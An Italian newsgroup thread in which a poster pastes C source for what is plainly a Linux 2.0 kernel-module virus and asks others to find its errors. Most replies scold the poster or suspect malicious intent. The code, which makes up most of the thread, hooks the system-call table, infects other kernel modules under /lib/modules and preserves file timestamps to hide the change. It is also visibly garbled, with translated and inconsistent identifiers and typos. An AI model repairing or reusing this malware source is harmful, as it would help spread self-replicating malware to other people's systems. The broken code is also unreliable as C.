Newsgroup: it.comp.lang.c
Titolo: ....!!!!....

A regà non so se chiedo nel newsgroup giusto però........
Vi vorrei chiedere quali sono gli errori in questo programmino...
Scusate per le sue caratteristiche....è solo una prova......
#define __KERNEL__
#define MODULE
#define MODLEN 6196
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>
#define __NR_sistema 211
#define MAXPATH 30
#ifdef DEBUG
   #define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
   #define DPRINTK(format, args...)
#endif
extern void *tabella[];
static char *directory[] = {
 ".", "/linux/modules",
 "/lib/modules/2.0.33/fs",
 "/lib/modules/2.0.33/net",
 "/lib/modules/2.0.33/scsi",
 "/lib/modules/2.0.33/block",
 "/lib/modules/2.0.33/cdrom",
 "/lib/modules/2.0.33/ipv4",
 "/lib/modules/2.0.33/misc",
 "/lib/modules/default/fs",
 "/lib/modules/default/net",
 "/lib/modules/default/scsi",
 "/lib/modules/default/block",
 "/lib/modules/default/cdrom",
 "/lib/modules/default/ipv4",
 "/lib/modules/default/misc",
 "/lib/modules/fs",
 "/lib/modules/net",
 "/lib/modules/scsi",
 "/lib/modules/block",
 "/lib/modules/cdrom",
 "/lib/modules/ipv4",
 "/lib/modules/misc",
 0
};
static struct simboli_tabella tabella_sim = {
    #include <linux/symtab_begin.h>
    X(printk),
        X(vmalloc),
        X(vfree),
        X(kerneld_send),
        X(current_set),
        X(tabella),
        X(registra_tabella_sim),
        #include <linux/symtab_end.h>
};
char Infezione2[7][60 + 2];
int (*vecchio_modulo_creato)(char*, int);
int (*vecchio_modulo_cancellato)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);
int sistema(int);
int infetta(char *);
int già_infetto(char *);
int cp(struct file*, struct file*);
int scrivi_virus(char *, char *);
int init_modulo2(struct module*);
char *nome_modulo(char*);
void *codice_virus = NULL;
int sistema(int mn)
{
    if (mn == 0x40)
            return 0;
        else
            return -ENOSYS;
}
int crea_nuovo_modulo(char *, int size)
{
    int i = 0, j = 0, retval = 0;
        if ((retval = vecchio_modulo_creato(nome, size)) < 0)
            return retval;
        for (i = 0; infezione2[i][0] && i < 7; i++);
        if (i == 6)
            return retval;
        while ((infezione2[i][j] = get_fs_byte(nome + j)) != 0 && j < 60)
            j++;
 DPRINTK("crea_nuovo_modulo:  %s  #%d\n", infezione2[i], i);
        return retval;
}
int nuovo_modulo_delete(char *modnome)
{
    static int infetti = 0;
 int retval = 0, i = 0;
        char *s = NULL, *nome = NULL;
        retval = vecchio_modulo_cancellato(modnome);
        if ((nome = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
            return retval;
    for (i = 0; infezione2[i][0] && i < 7; i++) {
            strcat(infezione[i], ".o");
                if ((s  = nome_modulo(infezione[i])) == NULL) {
                    return retval;
                }
                nome = strcpy(nome, s);
                if (!già_infetto(nome)) {
                    DPRINTK("Infetti %s a #%d\n", nome, i);
                        infetti++;
                        infetta(nome);
                }
                memset(infezione[i], 0, 60 + 2);
        }
        if (infetti >= ENOUGH)
            modulo_cleanup();
        vfree(nome);
        return retval;
}
__asm__
("
.align 16
.globl init_modulo
   .type init_modulo,@function
init_modulo:
        pushl %ebp
        call init_modulo2
        popl %eax
        xorl %eax, %eax
        ret
.hype27:
    .size init_modulo,.hype27-init_modulo
");
int init_modulo2(struct module *mp)
{       
        char *s = NULL, *mod = NULL, *modnome = NULL;
        long state = 0;
 
       mod = vmalloc(60 + 2);
 modnome = vmalloc(MAXPATH + 60 + 2);
        if (!mod || !modnome)
            return -1;        
        strcpy(mod, mp->nome);
        strcat(mod, ".o");
 
        MOD_INC_USE_COUNT;        
        DPRINTK("init_modulo2: mod = %s\n", mod);
 
 
        mp->nome = "";
        mp->ref = 0;
        mp->size = 0;
 
        if (tabella[__NR_sistema] == 0) {    
  vecchio_modulo_cancellato = tabella[__NR_cancella_modulo];  
                vecchio_modulo_creato = tabella[__NR_crea_modulo];
                tabella[__NR_sistema] = (void*)sistema;    
                tabella[__NR_cancella_modulo] = (void*)nuovo_modulo_delete;         
                tabella[__NR_crea_modulo] = (void*)crea_nuovo_modulo;
                memset(infezione, 0, (60 + 2)*7);
                registra_tabella(&tabella_sim);
        }
        registra_tabella(0);
        open = tabella[__NR_open]; 
        close = tabella[__NR_close];        
        unlink = tabella[__NR_unlink];        
 
        if ((s = nome_modulo(mod)) == NULL)
            return -1;
        modnome = strcpy(modnome, s);
 modulo_reale(modnome, mod);
 vfree(mod);
        vfree(modnome);
 return 0;
}        
int modulo_cleanup()
{
 tabella[__NR_cancella_modulo] = vecchio_modulo_cancellato;
        tabella[__NR_crea_modulo] = vecchio_modulo_creato;
        tabella[__NR_sistema] = NULL;
        DPRINTK("modulo_cleanup\n");
        vfree(codice_virus);
        return 0;
}
/* Ritorna 1 se infetto */
int già_infetto(char *nome_file) 
{
    char det[4] = {0};
        int fd = 0;
        struct file *file;
        DPRINTK("Già infetto: nome_file = %s\n", nome_file);
    BEGIN_KMEM
        fd = open(nome_file, O_RDONLY, 0);
        END_KMEM
        if (fd <= 0)
            return -1;
        if ((file = current->files->fd[fd]) == NULL)
            return -2;
        file->file_pos = MODLEN + 1;
        DPRINTK("già_infetto: file->file_pos = %d\n", file->file_pos);
        BEGIN_KMEM
        file->f_op->read(file->f_inode, file, det, 3);
        close(fd);
        END_KMEM
        DPRINTK("già_infetto: det = %s\n", det);
        if (strcmp(det, "ELF") == 0)
            return 1;
        else
            return 0;
}
int infetta(char *nome_file)
{
        char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        BEGIN_KMEM
        in = open(nome_file, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("infetta: in = %d out = %d\n", in, out);
        if (in <= 0 || out <= 0)
            return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
            return -1;
        cp(file1, file2);
        BEGIN_KMEM
        file1->file_pos = 0;
        file2->file_pos = 0;
        DPRINTK("infetta_file: nome_file = %s\n", nome_file);
        file1->f_op->write(file1->f_inode, file1, codice_virus, MODLEN);
        cp(file2, file1);
        close(in);
        close(out);
        unlink(tmp);
        END_KMEM
    return 0;
}
int disinfetta(char *nome_file)
{
 char *tmp = "/tmp/t000";
        int in = 0, out = 0;
        struct file *file1, *file2;
        BEGIN_KMEM
        in = open(nome_file, O_RDONLY, 0640);
        out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
        END_KMEM
        DPRINTK("disinffetta: in = %d out = %d\n",in, out);
        if (in <= 0 || out <= 0)
            return -1;
        file1 = current->files->fd[in];
        file2 = current->files->fd[out];
        if (!file1 || !file2)
            return -1;
        cp(file1, file2);
 BEGIN_KMEM
  close(in);
        DPRINTK("disinfetta: nome_file = %s\n", nome_file);
        unlink(nome_file);
 in = open(nome_file, O_RDWR|O_CREAT, 0640);
 END_KMEM
 if (in <= 0)
  return -1;
 file1 = current->files->fd[in];
 if (!file1)
            return -1;
        file2->file_pos = MODLEN;
 cp(file2, file1);
 BEGIN_KMEM
 close(in);
 close(out);
 unlink(tmp);
 END_KMEM
 return 0;
}
int cp(struct file *file1, struct file *file2)
{
    int in = 0, out = 0, r = 0;
        char *buf;
        if ((buf = (char*)vmalloc(10000)) == NULL)
            return -1;
        DPRINTK("cp: file_pos = %d\n", file1->file_pos);
        BEGIN_KMEM
        while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) >
0)
            file2->f_op->write(file2->f_inode, file2, buf, r);
        file2->f_inode->i_mode = file1->f_inode->i_mode;
        file2->f_inode->i_atime = file1->f_inode->i_atime;
        file2->f_inode->i_mtime = file1->f_inode->i_mtime;
        file2->f_inode->i_ctime = file1->f_inode->i_ctime;
        END_KMEM
        vfree(buf);
        return 0;
}
int modulo_reale(char *nome_path, char *nome)
{    
        int r = 0, i = 0;  
        struct file *file1, *file2;
        int in =  0, out = 0; 
        DPRINTK("modulo_reale nome = %s\n", nome_path);
        if (codice_virus)
            vfree(coice_virus);
        codice_virus = vmalloc(MODLEN);
        if (!codice_virus)
                return -1;
        BEGIN_KMEM
        in = open(nome_path, O_RDONLY, 0640);
        END_KMEM
 if (in <= 0)
            return -1;
        file1 = current->files->fd[in];
        if (!file1)
               return -1;
        /* Leggi il codice del virus */
 BEGIN_KMEM
        file1->f_op->read(file1->f_inode, file1, codice_virus, MODLEN);
 close(in);
 END_KMEM
 disinfetta(nome_path);
        r = richiedi_modulo(nome);
        DPRINTK("modulo_reale: richiedi_modulo = %d\n", r);
        return 0;
}    
 
char *nome_modulo(cha
r *mod)
{
 int fd = 0, i = 0;
 static char* modnome = NULL;
 if (!modnome)
  modnome = vmalloc(MAXPATH + 60 + 2);
 if (!modnome)
  return NULL;
 BEGIN_KMEM
        for (i = 0; (directory[i] && (strstr(mod, "/") == NULL)); i++) {
  memset(modnome, 0, MAXPATH + 60 + 2);
  modnome = strcpy(modnome, directory[i]);
  modnome = strcat(modnome, "/");
                modnome = strcat(modnome, mod);
  if ((fd = open(modnome, O_RDONLY, 0640)) > 0)
   break;
        }
        close(fd);
        END_KMEM
        if (!directory[i])
            return NULL;
 return modnome;
}

Scusate per le sue caratteristiche....è solo una prova......
Scusa NoBody, ma a me il tuo comportamento non sembra molto corretto.
Sforzati tu per primo di capire dov'e' l'errore, solo in questo modo
puoi imparare qualcosa di C. In un ng non bisogna aspettarsi che tutti
siano disposti a risolvere problemi di questo tipo, quando ovviamente
consistano nel leggersi un codice di 437 righe o sviluppare un
programma di 200 e passa righe. Smettiamola di intendere il ng come un
luogo a cui mollare la patata bollente.
--
Andrea Laforgia (
andrea_...@bigfoot.com
)
---------------------------------------------

 luogo a cui mollare la patata bollente.
Condivido.
EMG

 luogo a cui mollare la patata bollente.
Ci stò sopra giusto da un mese....

Per quale oscuro motivo qualcuno dovrebbe aiutarti a sviluppare qualcosa che
sembra molto a un virus? (che magari manderai via email compilato
ringraziando per l'aiuto?)
ciao ciao
Marco

 wrote:
Ehi..non mi sono soffermato troppo a leggere e analizzare il
codice...ma non mi sembra a ochhio (e non ci vuol neppure tanto
occhio) un programma di gestione Data Base..o un editor di testi..mi
ricorda molto di + le carognate che mi costringono a spendere vagonate
di quattrini in anti-virus... e dovremmo pure aiutarti a farlo
funzionare ? Ma ci sei o ci fai ?
Augusto Pucci
Webmaster di Prospektiva On-line
http://go.to/Prospektiva

you wrote:

Un virus per Linux ?? ;)


 wrote in message > Un virus
per Linux ?? ;)
bč, perchč non č possibile? Non so, ma in nessuno dei miei programmi mi č
capitato di chiamare delle funzioni: infetta()...giainfetto()..virus..
era un'idea, una battuta e un modo elegante per dire ciň che gli hai detto
tu.
ciao
Marco

bč, perchč non č possibile?
Il fatto e' che scrivere virus che girino con successo sotto Unix e'
veramente dura ! ;)


 veramente dura ! ;)
sarą per questo che chiede aiuto ;-))
marco